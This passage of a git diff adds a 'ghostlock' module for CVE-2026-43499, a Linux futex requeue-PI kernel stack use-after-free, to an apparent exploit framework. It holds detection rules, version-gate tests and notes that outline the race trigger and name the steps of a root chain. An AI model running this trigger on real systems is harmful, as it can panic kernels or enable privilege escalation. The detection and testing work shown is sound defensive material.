on-stack " + "rt_mutex_waiter + fops/configfs/ashmem/pipe R/W + " + "cred patch for CVE-2026-43499 (Android/Pixel-specific, " + "per-build offsets โ€” not bundled).\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; + } + if (!ctx->json) + fprintf(stderr, "[-] ghostlock: probe setup failed (child rc=%d)\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + return SKELETONKEY_EXPLOIT_FAIL; +} + +#else /* !__linux__ */ + +static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) + fprintf(stderr, "[i] ghostlock: Linux-only module (rtmutex/futex " + "requeue-PI stack UAF) โ€” not applicable here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t ghostlock_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] ghostlock: Linux-only module โ€” cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +} + +#endif /* __linux__ */ + +/* ----- Embedded detection rules ----- + * + * Honesty note (see MODULE.md): unlike most kernel races, GhostLock has a + * genuinely distinctive behavioural tell โ€” a futex requeue-PI operation + * (FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI) returning -EDEADLK, which + * glibc's requeue-PI usage inside pthread_cond_wait never provokes. The + * catch: auditd/sigma see the `futex` syscall but not its op-vs-return + * cheaply, and a bare `-S futex` watch would flood any host (futex is one + * of the busiest syscalls). So the deployable auditd/sigma rules anchor on + * the far rarer sched_setattr (the sibling-thread priority-walk driver) and + * the post-exploitation euid-0 transition; the high-fidelity + * requeue-PI-returns-EDEADLK signal is expressed in the falco/eBPF rule, + * which can see the op and the return value. Tune per environment. + */ +static const char ghostlock_auditd[] = + "# GhostLock โ€” rtmutex/futex requeue-PI remove_waiter() stack UAF (CVE-2026-43499) โ€” auditd rules\n" + "# NOTE: a bare `-S futex` watch would flood auditd (futex is ubiquitous) and\n" + "# auditd cannot cheaply test a syscall's return against its op, so we anchor on\n" + "# the far rarer sched_setattr โ€” the GhostLock trigger fires it on a SIBLING\n" + "# thread in a tight loop (policy SCHED_BATCH) to drive the PI-chain priority\n" + "# walk that wins the race โ€” plus sched_setaffinity CPU pinning of the racers.\n" + "# The high-fidelity 'requeue-PI returns EDEADLK' tell needs an eBPF/falco layer\n" + "# that can see the op+retval (see the shipped falco rule). Correlate these in\n" + "# your SIEM per-pid within a short window; individually they are benign.\n" + "-a always,exit -F arch=b64 -S sched_setattr -k skeletonkey-ghostlock-schedattr\n" + "-a always,exit -F arch=b64 -S sched_setaffinity -k skeletonkey-ghostlock-affinity\n" + "# Post-exploitation fallback: unprivileged process -> euid 0 with no setuid execve.\n" + "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n" + "-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ghostlock-priv\n"; + +static const char ghostlock_sigma[] = + "title: Possible CVE-2026-43499 GhostLock rtmutex/futex requeue-PI stack UAF\n" + "id: 2f8a6b4c-skeletonkey-ghostlock\n" + "status: experimental\n" + "description: |\n" + " GhostLock (CVE-2026-43499) is a stack UAF in the rtmutex/futex requeue-PI\n" + " rollback path, reachable by any unprivileged user via futex(2) +\n" + " sched_setattr(2). The strongest behavioural tell is a futex requeue-PI op\n" + " (FUTEX_WAIT_REQUEUE_PI=11 / FUTEX_CMP_REQUEUE_PI=12) returning -EDEADLK\n" + " (glibc never provokes this) interleaved with sched_setattr(SCHED_BATCH)\n" + " targeting a SIBLING thread and sched_setaffinity CPU pinning โ€” but auditd\n" + " cannot see the futex op/return cheaply, so this rule keys on the rarer\n" + " sched_setattr driver and the post-exploitation euid-0 transition. Use the\n" + " falco/eBPF rule for the high-fidelity requeue-PI-EDEADLK signal. Expect\n" + " false positives from legitimate real-time / scheduler-tuning daemons.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " schedattr: {type: 'SYSCALL', syscall: 'sched_setattr'}\n" + " uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n" + " unpriv: {auid|expression: '>= 1000'}\n" + " condition: schedattr or (uid0 and unpriv)\n" + "level: medium\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.43499]\n"; + +static const char ghostlock_falco[] = + "- rule: Futex requeue-PI EDEADLK with sibling sched_setattr (possible CVE-2026-43499)\n" + " desc: |\n" + " GhostLock (CVE-2026-43499) rtmutex/futex requeue-PI stack UAF. High-fidelity\n" + " tell (needs a futex-aware eBPF probe that exposes the op + return value): a\n" + " FUTEX_WAIT_REQUEUE_PI / FUTEX_CMP_REQUEUE_PI that returns EDEADLK โ€” glibc's\n" + " requeue-PI usage inside pthread_cond_wait never provokes it โ€” combined with\n" + " the same tgid calling sched_setattr(SCHED_BATCH) on a sibling thread. Where\n" + " the probe cannot decode the futex op, fall back to the post-exploitation\n" + " effect below: a non-root process becoming root outside a setuid binary.\n" + " condition: >\n" + " (evt.type = futex and evt.rawres = -35) or\n" + " (evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n" + " not proc.is_setuid = true and user.uid != 0)\n" + " output: >\n" + " Possible CVE-2026-43499 GhostLock requeue-PI stack UAF\n" + " (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid evt=%evt.type res=%evt.res)\n" + " priority: WARNING\n" + " tags: [process, mitre_privilege_escalation, T1068, cve.2026.43499]\n"; + +const struct skeletonkey_module ghostlock_module = { + .name = "ghostlock", + .cve = "CVE-2026-43499", + .summary = "rtmutex/futex requeue-PI remove_waiter() stack UAF (\"GhostLock\") โ€” clears pi_blocked_on on the wrong task during -EDEADLK rollback; ~15-year range, unprivileged, no userns", + .family = "rtmutex", + .kernel_range = "2.6.39 <= K < fix (introduced with PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream stable fix; < 2.6.39 not affected", + .detect = ghostlock_detect, + .exploit = ghostlock_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel โ€” PI futexes cannot be disabled at runtime, no userns/sysctl stopgap */ + .cleanup = NULL, /* trigger creates only throwaway futex words + threads in a fork-isolated child; no host artifacts */ + .detect_auditd = ghostlock_auditd, + .detect_sigma = ghostlock_sigma, + .detect_yara = NULL, /* pure in-kernel race โ€” no file artifact to match */ + .detect_falco = ghostlock_falco, + .opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 2.6.39 AND below the on-branch fix: stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) โ€” no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal). exploit() forks an isolated child that (A) builds the requeue-PI cycle and confirms the -EDEADLK remove_waiter() rollback path is reachable โ€” deterministic and safe, since without a concurrent priority walk the unwind creates no dangling pointer โ€” then (B) exercises the actual race a hard-bounded 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter's tid, and stops. It is deliberately UNDER-DRIVEN: it does not widen the copy_from_user window (no memfd/PUNCH_HOLE), does not spray/reoccupy the freed kernel-stack frame, and does not bundle the KernelSnitch leak โ†’ forged on-stack rt_mutex_waiter โ†’ fops/configfs/ashmem/pipe R/W โ†’ cred-patch root-pop (Android/Pixel-specific, per-build offsets); the trigger is reconstructed from the public VEGA/Nebula PoC, not VM-verified, and returns EXPLOIT_FAIL. Telemetry footprint โ€” unlike most kernel races GhostLock has a real behavioural signature: a burst of futex requeue-PI ops returning EDEADLK (glibc never does this) plus tight-loop sched_setattr(SCHED_BATCH) on a sibling thread and sched_setaffinity CPU pinning; and, only if a Phase-B race fires on a vulnerable host, a possible KASAN oops or kernel-stack panic. No persistent files. Lowest --auto safety rank in the corpus: a won race corrupts the kernel stack and drives a near-arbitrary pointer write.", + .arch_support = "any", +}; + +void skeletonkey_register_ghostlock(void) +{ + skeletonkey_register(&ghostlock_module); +} diff --git a/modules/ghostlock_cve_2026_43499/skeletonkey_modules.h b/modules/ghostlock_cve_2026_43499/skeletonkey_modules.h new file mode 100644 index 0000000..3b017dd --- /dev/null +++ b/modules/ghostlock_cve_2026_43499/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * ghostlock_cve_2026_43499 โ€” SKELETONKEY module registry hook + */ + +#ifndef GHOSTLOCK_SKELETONKEY_MODULES_H +#define GHOSTLOCK_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module ghostlock_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index 4f20fd3..fa4a6a3 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -35,7 +35,7 @@ #include #include -#define SKELETONKEY_VERSION "0.9.12" +#define SKELETONKEY_VERSION "0.9.13" static const char BANNER[] = "\n" @@ -1021,7 +1021,8 @@ static int module_safety_rank(const char *n) if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */ - if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified โ€” least predictable in the corpus */ + if (!strcmp(n, "bad_epoll")) return 12; /* reconstructed epoll teardown race UAF; a won race frees a live struct file and rarely trips KASAN (silent-corruption risk), primitive-only/not VM-verified */ + if (!strcmp(n, "ghostlock")) return 11; /* reconstructed rtmutex/futex requeue-PI stack UAF; a won race corrupts the kernel stack + writes a near-arbitrary pointer (immediate-panic risk), primitive-only/not VM-verified โ€” least predictable in the corpus */ if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */ return 50; /* kernel primitives โ€” middle of pack */ } diff --git a/tests/test_detect.c b/tests/test_detect.c index a51c3ce..b2ea915 100644 --- a/tests/test_detect.c +++ b/tests/test_detect.c @@ -73,6 +73,7 @@ extern const struct skeletonkey_module sudo_host_module; extern const struct skeletonkey_module cifswitch_module; extern const struct skeletonkey_module nft_catchall_module; extern const struct skeletonkey_module bad_epoll_module; +extern const struct skeletonkey_module ghostlock_module; static int g_pass = 0; static int g_fail = 0; @@ -935,6 +936,80 @@ static void run_all(void) &bad_epoll_module, &h_bep_710, SKELETONKEY_OK); + /* โ”€โ”€ ghostlock (CVE-2026-43499) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + * Pure version gate over a FIVE-branch backport table (fixed + * 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, 7.1+ + * inherits mainline; introduced 2.6.39). Unlike bad_epoll's single + * entry, this exercises kernel_range_is_patched()'s "strictly newer + * than ALL entries" mainline-inherit clause: 6.13.x is newer than + * some entries but not all, so it must stay VULNERABLE. The 5.x/4.19 + * LTS branches are affected with NO upstream fix. No userns/CONFIG + * precondition (CVSS PR:L, any local user). */ + + /* 2.6.30 predates PI-futex requeue (introduced 2.6.39) โ†’ OK */ + struct skeletonkey_host h_ghl_2630 = + mk_host(h_kernel_6_12, 2, 6, 30, "2.6.30-test"); + run_one("ghostlock: 2.6.30 predates PI-futex requeue โ†’ OK", + &ghostlock_module, &h_ghl_2630, + SKELETONKEY_OK); + + /* 5.10.200 โ€” affected LTS with NO upstream stable fix โ†’ VULNERABLE */ + struct skeletonkey_host h_ghl_510 = + mk_host(h_kernel_6_12, 5, 10, 200, "5.10.200-test"); + run_one("ghostlock: 5.10.200 (no upstream fix on 5.10) โ†’ VULNERABLE", + &ghostlock_module, &h_ghl_510, + SKELETONKEY_VULNERABLE); + + /* 6.1.174 one below the 6.1.175 backport โ†’ VULNERABLE */ + struct skeletonkey_host h_ghl_61174 = + mk_host(h_kernel_6_12, 6, 1, 174, "6.1.174-test"); + run_one("ghostlock: 6.1.174 below the 6.1.175 backport โ†’ VULNERABLE", + &ghostlock_module, &h_ghl_61174, + SKELETONKEY_VULNERABLE); + + /* 6.1.175 exact backport โ†’ OK via patch table */ + struct skeletonkey_host h_ghl_61175 = + mk_host(h_kernel_6_12, 6, 1, 175, "6.1.175-test"); + run_one("ghostlock: 6.1.175 (exact backport) โ†’ OK via patch table", + &ghostlock_module, &h_ghl_61175, + SKELETONKEY_OK); + + /* 6.12.85 one below the 6.12.86 backport โ†’ VULNERABLE */ + struct skeletonkey_host h_ghl_61285 = + mk_host(h_kernel_6_12, 6, 12, 85, "6.12.85-test"); + run_one("ghostlock: 6.12.85 below the 6.12.86 backport โ†’ VULNERABLE", + &ghostlock_module, &h_ghl_61285, + SKELETONKEY_VULNERABLE); + + /* 6.13.0 โ€” newer than 6.12.86 but OLDER than 6.18.27/7.0.4, EOL + * branch with no fix โ†’ must stay VULNERABLE ("newer than ALL" test). */ + struct skeletonkey_host h_ghl_6130 = + mk_host(h_kernel_6_12, 6, 13, 0, "6.13.0-test"); + run_one("ghostlock: 6.13.0 newer than some entries but not all โ†’ VULNERABLE", + &ghostlock_module, &h_ghl_6130, + SKELETONKEY_VULNERABLE); + + /* 7.0.3 one below the 7.0.4 backport โ†’ VULNERABLE */ + struct skeletonkey_host h_ghl_7003 = + mk_host(h_kernel_6_12, 7, 0, 3, "7.0.3-test"); + run_one("ghostlock: 7.0.3 below the 7.0.4 backport โ†’ VULNERABLE", + &ghostlock_module, &h_ghl_7003, + SKELETONKEY_VULNERABLE); + + /* 7.0.4 exact backport โ†’ OK */ + struct skeletonkey_host h_ghl_7004 = + mk_host(h_kernel_6_12, 7, 0, 4, "7.0.4-test"); + run_one("ghostlock: 7.0.4 (exact backport) โ†’ OK via patch table", + &ghostlock_module, &h_ghl_7004, + SKELETONKEY_OK); + + /* 7.1.0 newer than every entry โ†’ mainline-inherited fix โ†’ OK */ + struct skeletonkey_host h_ghl_710 = + mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test"); + run_one("ghostlock: 7.1.0 above all backports โ†’ OK (mainline inherit)", + &ghostlock_module, &h_ghl_710, + SKELETONKEY_OK); + /* โ”€โ”€ coverage report โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ * Iterate the runtime registry (populated by skeletonkey_register_* * calls in main()) and warn for any module that was not touched diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index 5e3d6ff..6c2aa6b 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -333,3 +333,12 @@ bad_epoll: kernel_version: "6.8.0-generic" # >= 6.4 (bug introduced 58c9b016e128) and below the 7.0.13 backport โ†’ VULNERABLE by version expect_detect: VULNERABLE notes: "CVE-2026-46242 'Bad Epoll'; epoll ep_remove-vs-__fput teardown race UAF (Jaeyoung Chung / J-jaeyoung kernelCTF PoC). Introduced 6.4 (58c9b016e128); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1); trixie 6.12.x still vulnerable, 6.1/5.10 not affected (code not present). detect() is a PURE version gate โ€” no userns/CONFIG probe, because epoll is reachable by every unprivileged user; on Ubuntu 24.04 stock 6.8.0 (in [6.4, 7.0.13)) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.13 / 7.1 kernel and expect OK. exploit() forks a CPU-pinned child that builds the epoll race pair (waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a HARD-BOUNDED 48 attempts / 2s, widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. DELIBERATELY UNDER-DRIVEN: a won race frees a live struct eventpoll (real corruption that rarely trips KASAN โ†’ possible SILENT destabilisation on a vulnerable host), so the module does NOT grind the race to a win, does NOT perform the cross-cache reclaim, and does NOT bundle the /proc/self/fdinfo arb-read + ROP root-pop. Trigger RECONSTRUCTED from the public kernelCTF PoC โ€” NOT VM-verified. Lowest --auto safety rank (12). Provisioner caution: run only in a throwaway VM/snapshot โ€” even the bounded trigger can, on a rare win, corrupt or panic a vulnerable kernel. Detection is intentionally weak (epoll syscalls ubiquitous); no yara. Sweep + trigger validation pending." + +# โ”€โ”€ ghostlock (CVE-2026-43499) addition โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + +ghostlock: + box: ubuntu2404 + kernel_pkg: "" + kernel_version: "6.8.0-generic" # >= 2.6.39, below the on-branch fix (no 6.8 backport; not newer than all entries) โ†’ VULNERABLE by version + expect_detect: VULNERABLE + notes: "CVE-2026-43499 'GhostLock'; rtmutex/futex requeue-PI remove_waiter() stack UAF (VEGA / Nebula Security, 'IonStack part II'; public PoC in NebuSec/CyberMeowfia, Apache-2.0). Introduced 2.6.39 (PI-futex requeue); fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with NO upstream fix. detect() is a PURE version gate over that five-branch table โ€” no userns/CONFIG probe (CVSS PR:L, any local user; CONFIG_FUTEX_PI assumed, near-universal); on Ubuntu 24.04 stock 6.8.0 (below the fix, not newer than all entries) it returns VULNERABLE. To also confirm the PATCHED verdict, boot a >= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch or 7.1 kernel and expect OK; the multi-branch table is exercised by the 9 detect() unit rows in tests/test_detect.c (incl. 6.13.0 โ†’ VULNERABLE, the 'newer than some entries but not all' case). exploit() forks an isolated child that (A) deterministically confirms the -EDEADLK remove_waiter() rollback path is reachable (SAFE โ€” without a concurrent priority walk the unwind creates no dangling pointer; validated on real hardware) and (B) exercises the actual race a HARD-BOUNDED 24 iterations / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm on the waiter tid, then stops. DELIBERATELY UNDER-DRIVEN: does NOT widen the copy_from_user window (no memfd/PUNCH_HOLE), does NOT spray/reoccupy the freed kernel-stack frame, and does NOT bundle the KernelSnitch page leak โ†’ forged rt_mutex_waiter โ†’ fops/configfs/ashmem/pipe R/W โ†’ cred patch (Android/Pixel-specific, per-build offsets). Trigger RECONSTRUCTED from the public PoC โ€” NOT VM-verified. Lowest --auto safety rank (11). Provisioner caution: run only in a throwaway VM/snapshot โ€” a WON Phase-B race corrupts the kernel STACK and drives a near-arbitrary pointer write (near-certain PANIC on a vulnerable kernel). Detection has a real signature (futex requeue-PI returning EDEADLK + sibling sched_setattr(SCHED_BATCH)); no yara. Sweep + trigger validation pending."